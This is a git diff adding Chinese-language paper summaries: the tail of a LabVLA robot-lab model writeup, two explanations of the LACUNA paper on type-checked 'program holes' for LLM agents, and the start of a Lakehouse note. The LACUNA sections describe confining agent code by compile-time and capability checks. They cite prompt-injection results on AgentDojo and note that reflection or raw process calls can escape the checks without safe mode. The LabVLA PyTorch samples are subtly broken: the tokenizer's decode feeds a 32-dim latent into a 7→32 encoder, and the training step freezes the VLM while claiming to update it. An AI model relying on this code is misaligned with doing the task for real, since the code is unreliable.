+论文提出了一个有用的框架，把机器人实验室能力分成 4 级：
+
+- **Level 1（学徒）**：单步操作 —— 拿杯子、按按钮、开门
+- **Level 2（技术员）**：多步协议 —— 倒液体、加热、搅拌、转运
+- **Level 3（专家）**：精密仪器操作 + 测量记录 + 安全约束
+- **Level 4（科学家）**：根据观察调整方案
+
+LabVLA 达到了 Level 2。
+
+---
+
+## 四、实验结果
+
+### 4.1 LabUtopia Benchmark
+
+在 6 项实验室操作任务上，LabVLA 在分布式（ID）和分布外（OOD）设置下都取得了最佳平均成功率：
+
+| 方法 | 大小 | ID 平均成功率 | OOD 平均成功率 |
+|------|------|-------------|--------------|
+| π0 | 3B | 63.3 | 63.2 |
+| π0.5 | 3B | 52.4 | 52.1 |
+| **LabVLA** | **4B** | **71.1** | **70.0** |
+
+### 4.2 真实机器人验证
+
+在真实的 Franka 机械臂上做了验证，4 项任务（摇动液体、倒液体、磁力搅拌、塞子）在不同条件下（干净/杂乱、分布内/外）各跑 50 次：
+
+```
+条件                  LabVLA   DreamZero   π0.5
+干净-分布内           86.5     87.0        85.0
+杂乱-分布内           80.0     81.0        76.5
+干净-分布外           80.0     78.0        77.0
+杂乱-分布外           74.0     75.5        71.5
+
+LabVLA 在"干净-分布外"和"杂乱-分布外"均排名第一
+```
+
+### 4.3 数据可迁移性
+
+最有趣的是：即使换成其他 VLA 模型（X-VLA），在 LabEmbodied 数据上微调后也显著提升了：
+
+```
+ID 平均提升：+15.0%
+OOD 平均提升：+19.3%
+```
+
+这说明 LabEmbodied 数据本身有价值，不只属于 LabVLA。
+
+---
+
+## 五、代码示例
+
+### 示例 1：模拟 LabVLA 的推理流程
+
+虽然无法直接运行，但这个伪代码展示了 VLA 从"看 + 读"到"动"的完整流程：
+
+```python
+# 输入：实验方案的文本指令 + 机器人看到的当前画面
+instruction = "取 10ml 0.1M HCl 溶液，缓慢倒入 250ml 烧杯中"
+observation = robot.camera.capture()  # 图像帧
+robot_state = robot.get_state()       # 当前关节角度、位姿
+
+# VLA 模型内部处理（简化版）
+# 1. 视觉编码：把图像变成特征向量
+vision_features = vl_encoder.encode(observation)
+
+# 2. 语言编码：把指令变成特征向量
+language_features = lm_encoder.encode(instruction)
+
+# 3. 融合：视觉 + 语言 + 机器人状态 → 动作 token
+action_tokens = model.predict(
+    vision=vision_features,
+    language=language_features,
+    robot_state=robot_state
+)
+
+# 4. 将离散 token 解码为连续动作
+actions = fast_decoder.decode(action_tokens)
+# actions 形状: [chunk_len, 7] → 7个关节的未来 N 步控制量
+
+# 5. 执行前 1 步
+robot.apply_action(actions[0])
+```
+
+### 示例 2：FAST 动作 token 化的原理示意
+
+```python
+import torch
+import torch.nn as nn
+
+# 假设连续动作空间是 7 维（7 轴机械臂）
+ACTION_DIM = 7
+LATENT_DIM = 32
+NUM_CODEBOOK_ENTRIES = 1024
+
+class FASTTokenizer(nn.Module):
+    """
+    FAST 的核心是把连续动作"量化"成离散 token。
+    这用一个 VQ-VAE 实现：
+    - Encoder: 连续动作 → 低维潜在表示
+    - Codebook: 潜在空间被离散化成 1024 个"簇"
+    - 每个动作被映射到最近的簇索引 → 这就是一个 token
+    """
+    def __init__(self):
+        super().__init__()
+        self.encoder = nn.Linear(ACTION_DIM, LATENT_DIM)
+        self.codebook = nn.Embedding(NUM_CODEBOOK_ENTRIES, LATENT_DIM)
+
+    def encode(self, actions: torch.Tensor) -> torch.Tensor:
+        """
+        输入: actions [batch, action_dim] → 例如 [6]
+        输出: token_ids [batch] → 例如 [42, 1023, 7, ...]
+        """
+        latent = self.encoder(actions)  # [batch, 32]
+        codebook = self.codebook.weight  # [1024, 32]
+
+        # 找每个动作最近的 codebook entry
+        dist = torch.cdist(latent, codebook)  # [batch, 1024]
+        token_ids = torch.argmin(dist, dim=1)  # [batch]
+        return token_ids  # 交给语言模型做"下一个 token 预测"
+
+    def decode(self, token_ids: torch.Tensor) -> torch.Tensor:
+        """逆过程：从 token 恢复连续动作"""
+        latent = self.codebook(token_ids)  # [batch, 32]
+        actions = self.encoder(latent)  # [batch, 7]
+        return actions
+```
+
+### 示例 3：Knowledge Insulation 在训练中的实现
+
+```python
+def labvla_training_step(model, batch):
+    """
+    阶段 2 的训练：Flow Matching 后训练 + Knowledge Insulation
+
+    关键设计：flow loss 只能更新 DiT 动作专家，
+             不能反向传播到 VLM 前缀（防止语言知识被冲掉）
+    """
+    # 前向传播：VLM 前缀输出隐藏状态
+    with torch.no_grad():  # 关键：冻结 VLM 前缀的梯度
+        prefix_hidden = model.vlm_prefix(
+            vision=batch.vision,
+            language=batch.instruction,
+            robot_state=batch.robot_state
+        )
+
+    # DiT 动作专家接收 VLM 的输出作为条件
+    # 这里可以正常计算梯度
+    action_pred = model.dit_expert(
+        noisy_action=batch.noisy_actions,
+        condition=prefix_hidden.detach()  # detach 确保不反向传到 VLM
+    )
+
+    # Flow matching loss: 预测速度场
+    flow_loss = compute_flow_matching_loss(
+        pred=action_pred,
+        target=batch.action_velocity
+    )
+
+    # 同时保留 FAST token loss（让 VLM 继续学动作 token）
+    fast_loss = model.compute_fast_loss(
+        hidden=prefix_hidden,
+        targets=batch.action_tokens
+    )
+
+    # 总损失 = FAST 部分更新 VLM + flow 部分只更新 DiT
+    total_loss = fast_loss + flow_loss
+    total_loss.backward()
+    return total_loss
+```
+
+---
+
+## 六、意义与局限
+
+### 为什么重要？
+
+1. **首次系统性地把 VLA 引入科学实验室**——不是某个具体操作的 demo，而是从数据生成到训练配方到评测基准的一整套方案
+2. **数据瓶颈的解决思路**——用仿真数据工厂 + 领域随机化来弥补真实数据的不足
+3. **训练配方的工程创新**——FAST + Flow Matching + Knowledge Insulation 的组合，对后续研究有借鉴价值
+
+### 还有哪些挑战？
+
+- **Level 3 还没到**：精密仪器（移液器、离心机、PCR 仪）的操作需要更高的精度
+- **安全约束还没集成**：化学实验室涉及危险化学品，目前的模型没有内置安全机制
+- **仿真到现实的 gap**：虽然 Real-World 验证表现不错，但距离全自动化实验室还有距离
+
+---
+
+## 七、延伸思考
+
+这篇论文让我想到一个更根本的问题：**"理解"和"执行"是同一个东西吗？**
+
+VLA 模型试图回答"是"——只要把视觉、语言、动作在同一个模型里训练，理解自然会导致执行能力。但也许真正的突破点不在模型架构，而在**数据质量和场景丰富度**。
+
+LabVLA 最大的贡献可能不是模型本身，而是它证明了：**当数据质量和场景覆盖度够高时，现有的 VLM 骨干模型可以被很好地"接地"到物理世界中。**
+
+---
+
+## 参考
+
+- 论文 arXiv: [2606.13578](https://arxiv.org/abs/2606.13578)
+- 项目主页: [https://zjunlp.github.io/LabVLA/](https://zjunlp.github.io/LabVLA/)
+- 模型权重: [Hugging Face](https://huggingface.co/zjunlp/LabVLA)
+- 代码: [GitHub](https://github.com/zjunlp/LabVLA)
+- 相关基线：[π0](https://www.physicalintelligence.company/) (Physical Intelligence), [OpenVLA](https://openvla.github.io/) (Stanford)
diff --git a/src/content/docs/papers/lacuna-program-holes.md b/src/content/docs/papers/lacuna-program-holes.md
new file mode 100644
index 000000000..be363e0b7
--- /dev/null
+++ b/src/content/docs/papers/lacuna-program-holes.md
@@ -0,0 +1,322 @@
+---
+title: LACUNA — 把 LLM Agent 写成「可递归的类型化程序洞」
+来源: https://arxiv.org/abs/2605.28617
+日期: 2026-06-13
+子分类: 类型与 PL 理论
+分类: 编程语言
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：装修里的「待填槽位」
+
+你请人装修厨房。有两种做法：
+
+1. **遥控式**：你站在门外，每次只喊一句——「把瓷砖贴上」「装水龙头」。工人做完一步你再喊下一句。流程、节奏、上下文全在你手里，工人只能执行**单步动作**。
+2. **图纸式**：你画好平面图，在需要「现场判断」的地方标出**虚线框**——「此处选台面材质」「此处排布插座」。工人走进现场，按框填空，但**每块填空必须符合图纸上的尺寸与接口**；填错了整块拆掉重来，已装好的柜子不会被半拉子工程弄坏。
+
+今天大多数 LLM Agent 更像第一种：ReAct、Function Calling 由**外层 runtime** 拥有循环、上下文和调度，模型每次只吐**一个工具调用**或一小段 JSON。  
+**Code-as-action** 让模型直接写代码，表达能力上去了，但又出现新问题：runtime 仍是「上帝」，模型写的代码**不能合法地改写控制流**；若让模型写的代码真的去驱动 runtime，一次 prompt injection、错工具、半途中断，破坏面会比「单步动作」大得多。
+
+**LACUNA**（*Safe Agents as Recursive Program Holes*，Zhao 等，EPFL / Martin Odersky 组，arXiv [2605.28617](https://arxiv.org/abs/2605.28617)）提出第三种路径：在宿主程序里留一个**类型化的洞（typed hole）**，执行到此处时由 LLM **生成 Scala 代码**填满；**先经编译器类型检查，通过才运行，失败则环境零副作用并重试**。洞里的代码还可以再调用 `agent`，于是 ReAct、子 Agent、并行分解、技能库都变成**普通控制流**，而不是框架硬编码的模式。
+
+论文名字 *Lacuna* 即拉丁语「空隙、空白」——程序里那块等你填的洞。
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 论文 | *LACUNA: Safe Agents as Recursive Program Holes* |
+| 作者 | Yaoyu Zhao, Yichen Xu, Oliver Bračevac, Cao Nguyen Pham, Frank Zhengqing Wu, **Martin Odersky** |
+| 机构 | EPFL |
+| 提交日期 | 2026-05-27 |
+| 核心原语 | `def agent[T](task: String): T` |
+| 实现语言 | Scala 3（利用运行时重编译 + capture checking） |
+| 底层机制 | `eval[T](source: String)` — 在**调用点词法作用域**内对字符串源码做二次编译 |
+| 评测 | 自研类型测试 ~400 例、BrowseComp-Plus、τ²-bench、AgentDojo 注入攻击 |
+
+一句话：**Agent 的一次「行动」= 宿主程序中的一个类型洞；LLM 填的是整段可编译代码，不是单条 tool call。**
+
+---
+
+## 为什么重要
+
+### 1. 弥合「runtime」与「模型代码」的裂缝
+
+传统分工：
+
+- **Runtime**：while 循环、消息历史、工具路由、子 Agent 协议  
+- **模型**：产出下一个 action（JSON / 单次 `read_file`）
+
+LACUNA 把 **model call 嵌进程序**，在**需要类型 `T` 的值的地方**调用 `agent[T](task)`。控制流（`if`、`while`、尾递归、`.par.map`）由**生成代码**书写，runtime 只提供 `agent` 这一个原语。
+
+### 2. 安全不靠「沙箱祈祷」，靠**编译器全有或全无**
+
+Python `exec`、无约束 tool call：语句按顺序执行，类型错误**跑到那一行才炸**，前面副作用可能已经写入 `balance -= 50`。
+
+LACUNA：**整段 snippet 要么全部通过类型检查，要么整段拒绝**——拒绝时**一行都不执行**。论文称此为 typed hole 的 **atomicity（原子性）**。
+
+### 3. 工具 = 普通函数，权限 = 词法作用域
+
+不需要单独的 tool registry + JSON schema：在作用域里可见的函数就是工具。开启 Scala 3 **capture checking** 后，文件句柄、网络 `IO` 等**能力（capability）**随类型流动；模型生成的代码**不能把手里的 capability 泄漏到洞外**。
+
+### 4. 与相近工作的差异（读论文时的坐标系）
+
+| 方向 | 代表 | Lacuna 的不同 |
+|------|------|----------------|
+| Code-as-action | CodeAct 等 | 仍由 runtime 拥有主循环 |
+| 递归语言模型 RLM | Zhang et al. 2025 | REPL 先执行再发现问题；Lacuna **先类型检查再执行** |
+| LMQL / DSPy | 约束单次 LLM I/O | 只约束**一次调用**的输入输出形状 |
+| ChatLSP | 编辑期代码补全 | 人在环；Lacuna 是**运行时递归行动** |
+
+---
+
+## 核心概念
+
+### 概念 1：`agent[T](task)` — 类型化的程序洞
+
+```scala
+def agent[T](task: String): T
+```
+
+- `task`：自然语言任务描述  
+- `T`：调用点**期望的返回类型**（通常由 Scala 类型推断，不必手写）  
+- 执行到此处 → 组装 prompt（系统指令、期望类型 `T`、调用点周围源码、可用变量列表、`task`）→ LLM 返回 Scala 源码 → **在调用点词法环境中编译** → 成功则求值并返回 `T`，失败则把**编译器诊断**喂回模型重试
+
+生成代码可以是**表达式或语句块**：读局部变量、定义辅助函数、分支循环、调用工具、**嵌套 `agent`**。
+
+### 概念 2：递归组合（Recursive Program Holes）
+
+外层 `agent` 生成的代码里可以再写：
+
+```scala
+topics.par.map(topic => agent[String](s"Research: $topic"))
+```
+
+每个嵌套洞有自己的 `T` 和 `task`，且在**外层 snippet 已引入的变量与结构**之上检查——子问题带着更丰富的上下文。
+
+递归深度可由 runtime **配置上限**；无上限时理论上可能无限嵌套（与复杂任务和意外死循环难以区分）。
+
+### 概念 3：`eval` — 静态语言里的「动态求值」
+
+`agent` 建立在编译器内建的 `eval[T](source)` 上，流程：
+
+1. **Rewrite**：从类型化 AST 提取 `bindings`、`expectedType`、`enclosingSource`  
+2. **Splice**：把模型字符串拼进带占位符的包围源码  
+3. **Recompile**：用**同一套编译器选项**（含 capture check）再编译  
+4. **Extract & Evaluate**：加载 class、在原线程求值
+
+关键洞见：**不另写安全检查器**，复用宿主语言编译器的健全性。
+
+### 概念 4：编译失败驱动的自修正循环
+
+默认最多重试若干次（可配置）。仍失败则抛 `EvalCompileException`，或使用 `agentSafe[T]` 得到 `EvalResult[T]`（`Success` / `Failure(diag)`）。
+
+BrowseComp-Plus 上约 **8.6%** 生成在运行前被拒，平均 **0.7** 次重试/查询，**91.4%** 端到端编译成功率。
+
+### 概念 5：能力安全与信息流
+
+在 adversarial 设定（prompt injection）下，模型可能被带偏，但**只能调用当前洞作用域已绑定的能力**。  
+论文用 `Classified[T]` + 嵌套 `local.agent` 演示：敏感合同正文不进云端模型，本地可信模型在 **pure** 的 `map` 闭包内处理，capture 检查禁止把内容 leak 到网络。
+
+建议开启 Scala **safe mode**，禁用反射与裸 `Process` 执行——否则存在绕过类型边界的逃生口。
+
+---
+
+## 代码示例 1：过滤素数 — 洞如何「看见」局部变量
+
+宿主程序先定义数据，再让模型填洞；**类型 `List[Int]` 约束返回值**，模型不能交回 `String`。
+
+```scala
+val xs = List(0, 1, 2, 4, 7, 9, 10)
+
+val r = agent[List[Int]]("filter the prime numbers from xs")
+
+// 模型可能生成（经编译器接受后执行）：
+// def isPrime(n: Int): Boolean =
+//   n > 1 && (2 until n).forall(d => n % d != 0)
+// xs.filter(isPrime)
+
+// r == List(2, 7)
+```
+
+要点：
+
+- `xs` 在词法作用域内，生成代码**直接引用**  
+- 局部辅助函数 `isPrime` 允许  
+- 若模型返回 `xs.filter(_.isOdd)` 但类型标成 `List[String]`，**编译失败，无副作用**
+
+---
+
+## 代码示例 2：ReAct 循环 — 尾递归形式的 `agent`
+
+ReAct（Reason + Act）在 Lacuna 里不必框架内置，写成**尾递归**：每轮 snippet 调用工具、更新状态，最后再次 `agent[T](task)`，直到能直接返回 `T`。
+
+```scala
+def solveResearch(task: String): Report = {
+  // 第一次进入洞
+  agent[Report](task)
+}
+
+// 第 1 轮模型生成的 snippet 可能长这样：
+val raw   = searchWeb("transformer architecture 2024")
+val notes = parseResults(raw)
+agent[Report](task)   // 尾调用：同一 T，上下文更丰富
+
+// 第 2 轮可能：
+val draft = summarize(notes)
+agent[Report](task)
+
+// 最终轮：信息足够，直接构造 Report
+Report.fromSections(notes, draft)
+```
+
+与 RLM 类似，都是「代码里再调模型」；差异是**每一轮 snippet 先过类型检查**，且每轮共享同一返回类型 `T`，迫使循环围绕**同一目标类型**收敛。
+
+---
+
+## 代码示例 3：原子性 — 半对半错不会弄脏状态
+
+```scala
+var balance: Int = 100
+
+agent[Int]("subtract 50 and return the new balance")
+
+// 模型错误生成：
+// balance -= 50
+// s"remaining: $balance"   // 类型 String，不是 Int
+
+// 结果：EvalCompileException，balance 仍为 100
+```
+
+若在 Python `exec` 里，`balance -= 50` 可能已执行才在字符串格式化处报错——**状态不一致**。Lacuna 的「整段接受或整段拒绝」专为消除这类**部分执行**。
+
+---
+
+## 代码示例 4：能力不能逃逸作用域
+
+```scala
+trait IO extends caps.SharedCapability
+def withIO[T](op: IO^ => T): T = op(new IO {})
+def readFile(io: IO, path: String): String = ???
+
+// 合法：在块内用完 IO，返回纯 String
+withIO[String] { io =>
+  agent("read /etc/hosts using io")
+}
+// 生成：readFile(io, "/etc/hosts")  → OK
+
+// 非法：想把带 IO 能力的函数泄漏出去
+withIO[String => String] { io =>
+  agent("return a file reader using io")
+}
+// 生成：(p: String) => readFile(io, p)
+// 编译错误：Capability io outlives its scope
+```
+
+---
+
+## 能表达哪些 Agent 模式？
+
+论文第 5 节证明**单一原语**足够表达常见架构（均为例程级控制流，非内置协议）：
+
+| 模式 | Lacuna 写法 |
+|------|-------------|
+| **Skill / 技能** | 普通函数 `def reviewPR(diff: Diff): Review`，体内可全委托 / 半委托 / 全硬编码 `agent` |
+| **ReAct** | 尾递归 `agent[T]` |
+| **子 Agent** | 嵌套 `agent[U]`，子洞见到更多中间绑定 |
+| **并行** | `items.par.map(x => agent[...](...))` |
+| **多模型规划** | 不同洞绑定不同 `llm` 实例（实现层配置） |
+| **程序性记忆** | REPL 里重定义同名函数，后续 `agent` 解析到新实现 |
+
+---
+
+## 实验结果（论文摘要）
+
+### BrowseComp-Plus（复杂检索 + 工具）
+
+| Agent 模型 | 准确率 | 检索 Recall | 平均重试 |
+|------------|--------|-------------|----------|
+| deepseek-v4-flash | **27.1%** | 34.5% | 0.7 |
+| gemini-3.1-flash-lite | 26.2% | 27.9% | 0.4 |
+| gpt-5.4-mini | 9.2% | 16.2% | 0.5 |
+
+- 约 **8.6%** 生成被编译器拒绝  
+- 原语不拖后腿：强模型能做多轮搜索（文中 ~5.9 轮、~15.5 次搜索/题）
+
+### τ²-bench（多轮客服对话 + 工具）
+
+deepseek-v4-flash + Lacuna：**76.0%** / 392 任务，与原生 Tool Calling 基线**同量级**（部分域 Lacuna 更高或略低）。对话代码更易类型错误（retail 域拒绝率 ~22.4%），重试环吸收大部分失败。
+
+### AgentDojo（prompt injection）
+
+在 TACIT / CaMeL 对比下，Lacuna 任务完成率（Utility）具竞争力；攻击成功率（Attack）在多数设置接近 **0**（个别配置有少量成功，论文如实报告）。
+
+---
+
+## 优势与局限
+
+### 优势
+
+1. **表达力**：模型写**真实控制流**，而非被 runtime 菜单限制  
+2. **安全默认**：静态类型 + 可选 capture → 权限与数据流由编译器证明  
+3. **可组合**：嵌套洞 = 分而治之，上下文随程序文本累积  
+4. **诊断即反馈**：编译错误比「运行时报错」更适合驱动 LLM 自修正  
+5. **工具零胶水**：函数即工具，无 JSON schema 维护负担
+
+### 局限
+
+1. **绑定 Scala 3 生态**：`eval`、capture checking 是原型关键；移植需宿主支持**进程内重编译**  
+2. **模型必须会写类型正确代码**：弱模型拒绝率高（如 gemini-lite 在 telecom 域 ~89% 被拒）  
+3. **不解决停机与资源耗尽**：需额外预算、深度上限、超时  
+4. **safe mode 必须开**：否则反射 / `Process` 可绕过  
+5. **异常语义**：外层 `try` 会捕获**嵌套洞**的编译失败，需用 `agentSafe` 精细处理
+
+---
+
+## 与工程实践的映射
+
+若你用过 **Cursor / Claude Code** 的「写代码调工具」、**MCP** 工具描述、或 **DSPy** 签名，可把 Lacuna 想象成：
+
+> 把「下一步干什么」从**协议消息**升级成**宿主语言里的一段程序**，且这段程序在提交前要经过**和手写代码同一套类型检查**。
+
+它不取代 MCP（工具仍可包装成函数注入作用域），而是回答：**当 Agent 越来越像程序员时，谁来保证它写的「微型程序」不会越权、不会半执行？** —— 论文的答案是：**让编译器站在 Agent 与副作用之间**。
+
+---
+
+## 零基础自检清单
+
+读完后应能回答：
+
+1. **Lacuna 的「洞」和 ReAct 的一步有何本质区别？**  
+   → 洞提交的是**整段类型化代码**；一步 ReAct 是**单次推理/工具调用**，循环在外层。
+
+2. **为什么拒绝编译能保护 `balance` 例子？**  
+   → **Atomicity**：未通过检查的 snippet **完全不执行**。
+
+3. **`T` 在 API 里起什么作用？**  
+   → 调用方声明**需要什么类型的值**；编译器据此验收 LLM 代码。
+
+4. **递归洞带来的好处？**  
+   → 子任务在**更窄、信息更富**的词法环境中生成代码（map-reduce 式分解）。
+
+5. **论文主要评测说明了什么？**  
+   → 类型纪律**成本很低**（少次重试），复杂任务上与强基线**可比**，能力层对注入**有界**。
+
+---
+
+## 延伸阅读
+
+- **ReAct**：Yao et al., 2023 — Lacuna 第 5.2 节将其编码为尾递归 `agent`  
+- **Recursive Language Models**：Zhang et al., 2025 — 最接近的「代码里再调 LLM」先验  
+- **TACIT / capture checking**：Odersky et al., 2026 — Agent 能力与安全评测.harness  
+- **τ²-bench**：多轮工具对话基准  
+- **BrowseComp-Plus**：固定语料上的困难检索任务  
+
+---
+
+## 参考
+
+- Zhao, Y., Xu, Y., Bračevac, O., Pham, C. N., Wu, F. Z., & Odersky, M. (2026). *LACUNA: Safe Agents as Recursive Program Holes*. arXiv:2605.28617. https://arxiv.org/abs/2605.28617  
+- HTML 全文：https://arxiv.org/html/2605.28617v1  
diff --git a/src/content/docs/papers/lacuna-safe-agents-as-recursive-program-holes-arxiv-2605-28617.md b/src/content/docs/papers/lacuna-safe-agents-as-recursive-program-holes-arxiv-2605-28617.md
new file mode 100644
index 000000000..a0aecbf9c
--- /dev/null
+++ b/src/content/docs/papers/lacuna-safe-agents-as-recursive-program-holes-arxiv-2605-28617.md
@@ -0,0 +1,223 @@
+---
+title: LACUNA —— 把 AI Agent 写成「递归的程序孔洞」
+来源: https://arxiv.org/abs/2605-28617
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# LACUNA：把 AI Agent 写成「递归的程序孔洞」
+
+## 一、一个日常类比：拼图里的空缺
+
+想象你在拼一幅巨大的拼图。大部分拼图块你已经亲手放好了——这些是你写的代码，变量、函数、控制流，一切井井有条。
+
+但现在有一块拼图你找不到。这块拼图该是什么形状？你不知道。于是你把这块空缺的位置、周围已经拼好的图案、以及"这块拼图应该是什么"的描述，交给一个朋友去画。朋友画好后，你拿回去试——如果大小正好严丝合缝，就放进去；如果大了、小了、或者形状不对，就把朋友叫回来，告诉他哪里不合适，让他重画。
+
+LACUNA 做的就是这样一件事。它的核心问题是：
+
+> 现在的大模型 Agent 经常"写代码来做事"，但模型写的代码和运行这段代码的运行时之间有一条鸿沟。运行时掌握循环、上下文和控制流，模型只能写一小段代码，几乎没有发言权。
+
+LACUNA 的答案是：**让模型写的代码变成程序中的一个「类型化孔洞」（typed hole），在运行到这个孔洞时，由模型来填充，并且填充的代码在运行之前必须通过编译器的类型检查。**
+
+## 二、核心概念拆解
+
+### 2.1 类型化孔洞（Typed Hole）
+
+在编译器术语中，"孔洞"指的是一个还缺少值的占位符。比如你在写 Scala 代码，写了一半不知道后面该填什么，编译器就会显示一个"类型化孔洞"，告诉你："这里需要一个 `Int`，但你还没给出。"
+
+LACUNA 把这个想法用到运行时：
+
+```scala
+def agent[T](task: String): T
+```
+
+这行代码的意思是："我需要一个类型为 `T` 的值，具体内容让大模型来写。"
+
+- `T` 是期望的结果类型（比如 `String`、`List[Int]`、`Order`）
+- `task` 是用自然语言描述的任务
+- 当程序执行到这行时，模型会被调用，生成一段 Scala 代码来产生 `T`
+- 生成的代码会在当前作用域内被编译检查——如果类型匹配，就跑；如果不匹配，就拒绝并重试
+
+### 2.2 为什么这比 ReAct 更好？
+
+传统的 ReAct Agent 模式是：模型每次只做一个工具调用（比如"搜索一下"、"读这个文件"），然后交替做推理和行动，直到得出结论。
+
+LACUNA 的思路不同：模型写的是**一整段代码**，可以包含循环、条件分支、多个工具调用、甚至嵌套的 `agent` 调用。更重要的是，这段代码在运行前就被编译器检查了——**要么整体通过并运行，要么整体被拒绝，不会出现"部分执行导致状态不一致"的问题。**
+
+### 2.3 安全保证
+
+LACUNA 有三层安全机制：
+
+1. **静态类型检查**：模型生成的代码必须像手写代码一样通过编译器检查
+2. **原子性**：如果生成的代码有错误，整段代码都不会运行，不会留下不一致的状态
+3. **能力追踪（Capture Checking）**：通过 Scala 3 的能力追踪系统，限制模型生成的代码能访问哪些资源（文件、网络、工具）
+
+## 三、代码示例
+
+### 示例 1：基础用法——过滤素数
+
+假设你有一个数字列表，想让模型帮你写出过滤素数的代码：
+
+```scala
+val xs = List(0, 1, 2, 4, 7, 9, 10)
+
+val r = agent[List[Int]](
+  "filter the prime numbers from xs"
+)
+
+// 模型生成的代码可能是：
+// def isPrime(n: Int): Boolean =
+//   n > 1 && (2 until n).forall(n % _ != 0)
+// xs.filter(isPrime)
+
+// 最终结果：
+val r: List[Int] = List(2, 7)
+```
+
+注意几个要点：
+
+- 类型 `List[Int]` 约束了模型只能返回整数列表，不能返回字符串或单个整数
+- `xs` 是外层程序定义的变量，模型生成的代码可以直接使用它
+- 如果模型返回了错误的类型（比如返回了一个 `String`），编译器会在运行前拒绝这段代码，并把错误信息反馈给模型让它重试
+
+### 示例 2：嵌套调用——并行研究并生成报告
+
+更强大的场景是嵌套调用。模型生成的代码内部可以再调用 `agent`，形成递归的"孔洞套孔洞"：
+
+```scala
+val topics = List(
+  "LLM", "world models", "transformer", "attention"
+)
+
+val report: String = agent[String](
+  "Research each topic and generate a " +
+  "report on their connections."
+)
+
+// 模型可能生成这样的代码：
+val report: String = {
+  val findings =
+    topics.par.map(topic =>
+      agent[String](s"Research: $topic")
+    )
+  agent("Generate a report from the findings")
+}
+```
+
+这里发生了什么：
+
+1. 最外层的 `agent` 被调用，模型收到任务
+2. 模型生成的代码中，对 `topics` 列表做了并行映射，为每个主题发起一个子 `agent` 调用
+3. 每个子调用有自己的类型参数（`String`）和任务描述
+4. 最后再把所有发现汇总成一份报告
+
+关键 insight：**嵌套的 `agent` 调用不是特殊的协议，就是普通的控制流。** 它可以分支、循环、并行分解，全部用宿主语言的语法表达。
+
+### 示例 3：安全边界——防止越权操作
+
+LACUNA 利用 Scala 3 的捕获检查（capture checking）来限制模型代码的能力。看下面这个例子：
+
+```scala
+trait IO extends caps.SharedCapability
+
+def withIO[T](op: IO^ => T): T =
+  op(new IO {})
+
+def readFile(io: IO, path: String): String = ...
+
+// 正常用法：读取文件，返回纯字符串（安全）
+val res0: String = withIO[String] { io =>
+  agent("read /etc/hosts using io")
+}
+
+// 危险用法：模型试图返回一个携带 io 能力的 lambda（被拒绝！）
+val res2: String => String = withIO[String => String] { io =>
+  agent("return a file reader using io")
+}
+// ❌ 编译错误：
+// Capability io outlives its scope: it leaks into
+// outer capture set s1 owned by value res2.
+```
+
+第一个调用是安全的：模型读取文件后返回一个普通字符串，`io` 能力没有泄露出 `withIO` 的作用域。
+
+第二个调用被编译器拒绝了：模型试图返回一个 lambda，这个 lambda 捕获了 `io` 能力。但 `io` 是在 `withIO` 内部创建的，它的生命周期不应该超出这个块。编译器在运行前就阻止了这种"能力泄漏"。
+
+### 示例 4：敏感数据处理—— Classified 包装器
+
+对于敏感数据，LACUNA 可以结合 `Classified` 类型来确保数据永远不会泄露到不受信任的模型中：
+
+```scala
+class Classified[T]:
+  def map[U](f: T => U): Classified[U]
+
+val doc: Classified[String] = docs.load(id)
+
+val report: Classified[Report] =
+  doc.map { content =>
+    // 这里的 agent 调用指向的是本地可信模型
+    local.agent[Report](
+      s"follow the skill steps on $content"
+    )
+  }
+```
+
+- 外层的托管模型（hosted agent）可以看到 `content` 的**源码**，但看不到 `content` 的**值**
+- 当 `map` 在运行时展开时，`content` 的值只传递给本地可信模型（local agent）
+- 本地模型生成的代码在纯函数作用域内编译，捕获检查禁止它做任何 I/O 操作（包括调用托管模型的 API）
+- 结果仍然是 `Classified[Report]`，包装保持完整
+
+## 四、编译错误即反馈
+
+LACUNA 的一个优雅之处是：编译器的错误信息本身就是给模型的反馈。
+
+```scala
+val tax: Double = 0.08
+agent[Double]("apply tax to price")
+
+// 模型生成了：price * (1.0 + tax)
+// ❌ 编译错误：Not found: value price
+
+// 错误信息被送回给模型，模型知道要修复这个问题
+// 可能重试生成：taxAmount * (1.0 + tax)
+```
+
+模型不需要理解复杂的 JSON schema 或工具注册表。它只需要像写正常的 Scala 代码一样写代码，编译器帮它保证正确性。
+
+## 五、实际效果
+
+论文中的实验数据：
+
+- **BrowseComp-Plus 基准测试**：8.6% 的生成在运行前就被类型系统拒绝，平均每个查询 0.7 次重试，准确率达到 27.1%
+- **τ²-bench**：在 392 个跨四个领域的任务上，LACUNA 解决了 76.0%，与基线 Agent 持平
+- 每次被拒绝的代码都**完全不执行**，不会留下任何副作用
+
+## 六、局限性与思考
+
+论文也坦诚了几点局限：
+
+1. **类型正确 ≠ 逻辑正确**：编译器只检查类型，不检查业务逻辑是否正确
+2. **能力边界取决于授予的范围**：如果外层程序给了太多权限，模型代码也能用那么多
+3. **依赖模型的编码能力**：模型写得越好，效果越好
+4. **延迟和成本**：每次 `agent` 调用都涉及模型推理 + 编译 + 可能的重试
+5. **终止和资源使用**：模型可能生成无限递归的嵌套调用，需要设置深度上限
+
+## 七、总结
+
+LACUNA 的核心贡献可以用一句话概括：
+
+> 把 AI Agent 的每一次行动变成一个类型化的程序孔洞，让模型写的代码在运行前接受宿主语言的完整静态检查。
+
+这样做的好处是：
+
+- **安全性**：编译器的保证延伸到模型生成的代码
+- **表达力**：嵌套调用、并行分解、技能复用都是普通控制流
+- **简洁性**：工具就是函数，能力就是作用域，不需要额外的协议层
+
+这篇论文由 EPFL 的 Martin Odersky（Scala 之父）等人完成，实现基于 Scala 3，充分利用了 Scala 3 的运行时编译能力和捕获检查系统。
+
+---
+
+*参考：Zhao, Y., Xu, Y., Bračevac, O., Pham, C. N., Wu, F. Z., & Odersky, M. (2026). LACUNA: Safe Agents as Recursive Program Holes. arXiv:2605.28617.*
diff --git a/src/content/docs/papers/lakehouse-2021.md b/src/content/docs/papers/lakehouse-2021.md
new file mode 100644
index 000000000..f026ab653
--- /dev/null
+++ b/src/content/docs/papers/lakehouse-2021.md
@@ -0,0 +1,284 @@
+---
+title: Lakehouse — 用开放格式统一数据仓库与高级分析
+来源: https://www.cidrdb.org/cidr2021/papers/cidr2021_paper17.pdf
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+provenance: pipeline-v3
+---
+
